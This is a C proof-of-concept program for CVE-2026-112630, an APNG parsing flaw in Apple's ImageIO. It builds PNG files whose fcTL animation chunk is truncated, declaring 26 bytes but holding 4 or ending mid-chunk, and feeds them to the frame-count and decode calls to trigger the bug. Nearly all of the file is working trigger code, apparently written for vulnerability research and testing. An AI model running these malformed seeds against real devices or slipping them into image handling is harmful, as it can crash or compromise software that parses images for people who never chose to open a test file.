// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630 // APNG fcTL chunk truncated mid-header // C twin of the Swift POC: builds the truncated-fcTL APNG and reads its frame count + decode. // Build: clang -O2 -o cve-2026-112630 CVE-2026-112630.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112630 [mode] (0 = declared-26/truncated-4, 1 = file ends inside fcTL, 2 = valid control) #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void be32(buf *b, uint32_t v) { bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); } // ── png pieces (from Cinder27 Sources: PNGPayload) ── static uint32_t crc32(const uint8_t *p, size_t n) { static uint32_t table[256]; static int built; if (!built) { for (int i = 0; i < 256; i++) { uint32_t c = (uint32_t)i; for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1); table[i] = c; } built = 1; } uint32_t crc = 0xFFFFFFFF; for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8); return crc ^ 0xFFFFFFFF; } // zlib stored-block wrapper around `input` static void zlib_store(buf *out, const uint8_t *input, size_t in_n) { bput(out, 0x78); bput(out, 0x01); size_t off = 0; if (in_n == 0) { bcat(out, "\x01\x00\x00\xff\xff", 5); } while (off < in_n) { size_t take = in_n - off < 65535 ? in_n - off : 65535; bput(out, off + take >= in_n ? 0x01 : 0x00); bput(out, take & 0xff); bput(out, (take >> 8) & 0xff); uint16_t ntake = (uint16_t)~take; bput(out, ntake & 0xff); bput(out, (ntake >> 8) & 0xff); bcat(out, input + off, take); off += take; } uint32_t a = 1, b = 0; for (size_t i = 0; i < in_n; i++) { a = (a + input[i]) % 65521; b = (b + a) % 65521; } be32(out, (b << 16) | a); } static void png_chunk(buf *out, const char *type, const uint8_t *data, size_t n, int declared_len, size_t truncate_to) { size_t body_n = truncate_to < n ? truncate_to : n; uint32_t len = declared_len >= 0 ? (uint32_t)declared_len : (uint32_t)n; be32(out, len); bcat(out, type, 4); bcat(out, data, body_n); uint8_t crc_input[512]; size_t ci = 0; memcpy(crc_input, type, 4); ci = 4; memcpy(crc_input + ci, data, body_n); ci += body_n; be32(out, crc32(crc_input, ci)); } // ── seed construction (from Cinder27 Sources: PNGPayload.apngTruncatedFCTL) ── static buf apng_truncated_fctl(int mode) { buf out = {0}; bcat(&out, "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a", 8); // IHDR: 4x4, 8-bit RGBA uint8_t ihdr[13]; be32(&(buf){0}, 0); // placeholder, built manually below { uint8_t *p = ihdr; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // width *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // height *p++ = 8; *p++ = 6; *p++ = 0; *p++ = 0; *p++ = 0; } png_chunk(&out, "IHDR", ihdr, 13, -1, SIZE_MAX); // acTL: 2 frames, 0 plays uint8_t actl[8]; { uint8_t *p = actl; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 2; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; } png_chunk(&out, "acTL", actl, 8, -1, SIZE_MAX); // fcTL body: seq 0, w 4, h 4, x 0, y 0, delay 1/10, dispose 0, blend 0 uint8_t fctl[26]; { uint8_t *p = fctl; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 1; // delay num *p++ = 0; *p++ = 10; // delay den *p++ = 0; *p++ = 0; // dispose op / blend op } // a real 4x4 RGBA frame uint8_t raw_rows[4 * 17]; { uint8_t *p = raw_rows; for (int r = 0; r < 4; r++) { *p++ = 0; // filter byte for (int c = 0; c < 16; c++) *p++ = 0x80; } } buf idat = {0}; zlib_store(&idat, raw_rows, sizeof raw_rows); if (mode == 2) { // control: a fully valid first fcTL png_chunk(&out, "fcTL", fctl, 26, -1, SIZE_MAX); png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX); png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX); } else if (mode == 0) { // header claims 26 bytes, only 4 present png_chunk(&out, "fcTL", fctl, 26, 26, 4); png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX); png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX); } else { // file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND be32(&out, 26); bcat(&out, "fcTL", 4); bcat(&out, fctl, 4); } bfree(&idat); return out; } // ── trigger: frame count + decode through ImageIO ── #include #include #include static int decode_image(const buf *img, const char **detail) { CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); if (!cf) { *detail = "CFDataCreate failed"; return -1; } CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); CFRelease(cf); if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } // getImageCount is the call that walks fcTL on the vulnerable build size_t frames = CGImageSourceGetCount(src); CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); static char r[256]; if (cg) { snprintf(r, sizeof r, "decoded %zu x %zu, frame count %zu", (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); CGImageRelease(cg); } else { snprintf(r, sizeof r, "decode refused at index 0, frame count %zu", frames); } CFRelease(src); *detail = r; return cg ? 0 : -1; } int main(int argc, char **argv) { int mode = argc > 1 ? atoi(argv[1]) : 0; buf png = apng_truncated_fctl(mode); const char *names[3] = {"apng_trunc_fctl.png", "apng_ends_inside_fctl.png", "apng_valid_fctl.png"}; FILE *f = fopen(names[mode == 0 ? 0 : mode == 1 ? 1 : 2], "wb"); if (f) { fwrite(png.d, 1, png.n, f); fclose(f); } const char *detail = NULL; int rc = decode_image(&png, &detail); printf("CVE-2026-112630 · fcTL mode %d (0 = 26B declared / 4B present) · %s\n", mode, detail ? detail : "?"); printf("seed: %s (%zu B) · exit code %d\n", names[mode == 0 ? 0 : mode == 1 ? 1 : 2], png.n, rc); bfree(&png); return rc == 0 ? 0 : 1; }